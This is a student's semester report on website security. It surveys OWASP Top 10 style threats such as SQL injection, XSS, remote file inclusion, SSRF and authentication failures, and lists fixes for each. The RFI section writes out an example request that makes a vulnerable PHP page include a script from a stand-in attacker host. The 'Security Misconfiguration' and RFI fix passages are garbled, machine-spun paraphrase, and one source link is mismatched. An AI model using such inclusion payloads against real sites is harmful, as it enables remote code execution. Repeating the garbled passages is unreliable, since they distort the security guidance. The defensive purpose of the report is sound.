SECURITY

S3-INDIVIDUAL

Welles,Nick N.H.M.

2022 - 2023

Inhoudsopgave

[What is security? 2](#_Toc117069859)

[Why do we need security? 2](#_Toc117069860)

[Threats 2](#_Toc117069861)

[Possible flaws 2](#_Toc117069862)

[How do we fix these security flaws 4](#_Toc117069863)

# What is security?

Website security is all the security measures that protect your website from cyberattacks made by cybercriminals. It involves the right procedures, the right people, as well as the right tools and applications. It often goes beyond just the website and includes web host/web server and hosting provider security as well. In this semester we need to make sure our website does meet some requirements when talking about security.

There are simple things in security, like an SSL certificate. With Let’s Encrypt you can get an SSL certificate very easily and for free. I’ve used Let’s Encrypt for a few years now and it is very reliable.

# Why do we need security?

When you want to secure your website you need to meet certain requirements. Open Web Application Security Project (OWASP) standards, security professionals consider a variety of factors. Keeping abreast with OWASP standards helps security staff stay up to date with industry-standard web safety expectations. Various technologies are available to help companies achieve web security, including web application firewalls (WAFs), security or vulnerability scanners, password-cracking tools, fuzzing tools, black box testing tools, and white box testing tools.

# Threats

## Possible flaws

#### SQL Injection

SQL injection is a technique an attacker uses to exploit vulnerabilities in a database’s search process. With SQL injection, an attacker can obtain access to privileged information, create user permissions, modify permissions, or execute plans to change, manipulate, or destroy data. In this way, a hacker can capture sensitive information or alter it to interrupt or control the functioning of a crucial system.

Source: <https://en.wikipedia.org/wiki/SQL_injection>

#### Cross-site scripting

Cross-site scripting (XSS) refers to a vulnerability that gives hackers an opening to insert client-side scripts inside a page. This is then used to gain access to critical data directly. XSS can also be used by a hacker to pretend to be another user or to fool a user into disclosing crucial information.

Source: <https://portswigger.net/web-security/cross-site-scripting>

#### Remote File Inclusion

With remote file inclusion, an attacker references external scripts using vulnerabilities in a web application. The attacker can then attempt to use the referencing function within an application to upload malware. These types of malware are also referred to as backdoor shells. All this is done from a different Uniform Resource Locator (URL) within a separate domain.

Source: <https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion>

#### Password Breach

Breaching a user’s password is a common technique to gain access to web resources. In many cases, the hacker will use a password that the user or administrator had used to log in to another site for which the hacker has a list of login credentials.|  
In other cases, hackers use a technique called password spraying, in which they use common passwords like "12345678" or "password123," and try them out one after the other until they gain access. There are several other techniques like keyloggers or simply finding your password written down and using it.

Source: <https://avatao.com/blog-best-practices-to-prevent-a-password-breach/>

#### Code Injection

Code injection involves an attacker using an input validation vulnerability in a computer’s software system to introduce and run malicious code. This code then proceeds to make changes to how the software and computer work.

#### Broken access control

This is a policy so that normal users cannot break the website with permissions they should not be allowed to use. Instead they should face an alert that says that they’re unauthorized to do this action.  
This can be done by for example: parameter tampering in the URL or force browsing.  
Accessing the API methods with missing access controls.  
Manipulation of metadata when using a JSON web token.  
CORS misconfiguration (Cross-Origin Resource Sharing)

Source: <https://owasp.org/Top10/A01_2021-Broken_Access_Control/>

#### Security Misconfiguration

The application might be powerless assuming that it misses the mark on security solidifying on at least one parts of the application or cloud administration. Regardless of whether pointless highlights are on that shouldn't (yet) be underway. A default administrator account actually empowered with default username and secret phrase. Delicate mistake messages are still on, permitting a programmer to look into the frameworks.

Source: <https://owasp.org/Top10/A05_2021-Security_Misconfiguration/>

#### Vulnerable and Outdated Components

We all have seen a website which has outdated plugins or core systems. These are more vulnerable to hackers if they know how to hack that version of the core system and/or plugin.  
They will be left outdated if you don’t know the current version(s) and if you do not fix or upgrade the underlying platform, frameworks, and dependencies in a risk-based, timely fashion.

Source: <https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/>

#### Identification and Authentication Failures

It is important to verify a user's identity during login and/or registration authentication. Protect against authentication-related attacks. A data breach refers to the disclosure of sensitive or confidential information. Data breaches can occur accidentally, but are often perpetrated by hackers with the intent to use or sell data.  
Examples of attacks can be:

* Brute force attacks (on login)
* Default, or weak passwords (like admin or test123)
* Weak processes to recover a password (lost password)
* Weakly hashed passwords or sensitive data
* Session identifier explosion in URL

Source: <https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/>

#### Software and Data Integrity Failures

These type of failures can occur when a piece of software relies on plugins and/or libraries from untrusted sources. Pipelines, repositories can introduce potential unauthorized access.  
Also, many libraries and plugins have an auto-update functionality build into them with insufficient verification and testing to apply to a running piece of software.

Source: <https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/>

#### Security Logging and Monitoring Failures

By monitoring fails by uses in a software system it is easy to track down possible vulnerabilities in your system. With the following events, your system has a possibility to certain vulnerabilities.

* Audible events are not logged
  + Login
  + Login fails
  + High value transactions
* Warnings generate unclear messages
* Logs of full-stack applications are not monitored for strange activity
* Those logs are only stored locally

#### Server-Side Request Forgery

These errors occur when the web application fetches some remote source without validating the URL provided by the user. This allows an attacker to force an application to send handcrafted requests to unexpected destinations. This error has become very serious with the rise of cloud services.

Source: <https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/>

## How do we fix these security flaws

#### SQL Injection

The following techniques can be used to prevent SQL injection

* Use statements with parameters.
* Allow-list Input Validation. Input validation should be applied on both syntactical and Semantic level.
  + Syntactic validation should enforce correct syntax of structured fields
  + Semantic validation should enforce correctness of their values in the specific business context

#### Cross-site scripting

This is a list of techniques to prevent or limit the impact of XSS. No single technique will solve XSS. Using the right combination of defensive techniques is necessary to prevent XSS.

Ensure that all variables go through validation and are then escaped or sanitized. Any variable that does not go through is a potential weakness.

#### Remote File Inclusion

Most RFI assaults against sites are based on the server-side prearranging language PHP. In spite of the fact that PHP isn't the main method for RFI.

http://yoursite.com/index.php?page=http://ev.il/badscript.php?

On the off chance that the content on the casualty server looks like the model from prior, the server will execute the PHP incorporate articulation for the URL: http://ev.il/badscript.php?.html

To forestall this never utilize erratic info information in an exacting record incorporate solicitation. Utilize a channel to clean info boundaries against conceivable record considerations completely. Fabricate a powerful whitelist.

Source: <https://www.esecurityplanet.com/endpoint/how-to-prevent-remote-file-inclusion-rfi-attacks/>

#### Password Breach

Below are some common safeguards that can be used to prevent a password breach.

Implement an expiration on passwords so that users need to reset their password after a certain amount of days.

Enforce 2FA (2 factor authentication). This will add an extra layer of security when logging in.

Implement IP whitelisting so that employees can access their accounts only from that whitelisted IP address.

Implement logout timers. For example, auto-logout users that are logged in longer than 2 hours.

#### Broken access control

Access control is only effective in trusted server-side code or server-less API, where the attacker cannot modify the access control check or metadata.

* Deny access to all private resources.
* Limit the rate that users can access calls to an API and controller.
* Add a control mechanism that can be re-used across the entire application preventing CORS.

#### Security Misconfiguration

Without a concerted, repeatable application security configuration process, systems are at a higher risk. The following list could help to prevent high risks.

* A hardening process that is repeatable makes it fast and easy to deploy an environment that is very secure and locked down. This process should be automated to prevent taking the effort to set up a new secure environment.
* Remove or uninstall all unnecessary features, components etc that are in production.
* Review all configurations to all security updates and notes.

#### Vulnerable and Outdated Components

A patch management process should be in place to prevent risks.

* Remove unused dependencies, unnecessary features, components, files, and documentation.
* Continuously inventory the versions of both client-side and server-side components.
* Obtain libraries or plugins from official sources over secure links. Prefer that the packages are signed.
* Monitor all libraries and check when there are unmaintained ones.

#### Identification and Authentication Failures

Below there are some techniques to prevent authentication weaknesses.

When possible, add some sort of multi-factor authentication. Such as 2FA. Anything to prevent something like brute force attacks.

* Do not ship with default credentials, such as admin/admin
* Check passwords for weakness.
* Implement a refresh password functionality that employees have to renew their password after let’s say, 30 days.
* Limit login attempts after a number of fails.

#### Software and Data Integrity Failures

The following techniques might help preventing these failures

* Use digital signatures to verify that the data is from the source you expected it to come from.
* Make sure libraries and dependencies are ingesting trusted repositories.
* Make sure that your CI/CD pipeline has great separation, configuration and access control to make sure that the integrity of the code flows through the build and deploy.

#### Security Logging and Monitoring Failures

Depending on the risk of the application, below are some techniques that could be implemented.

* Ensure all login, access control, and server-side input validation failures can be logged with sufficient user context to identify suspicious or malicious accounts.
* Make sure that logs are generated in a format that is easily readable.
* Make sure data is encoded properly so that you can prevent injections or attacks in the monitoring system.

#### Server-Side Request Forgery

Developers can prevent SSRF by implementing some or all the following defence.

Network layer:

* Splitting remote resource access functions into separate networks to mitigate the impact of SSRF

Application layer:

* Clear and validate all client-supplied data submitted.
* Don’t send raw responses to a client.
* Disable HTTP redirections.

Sources of the fixes: <https://owasp.org/Top10/>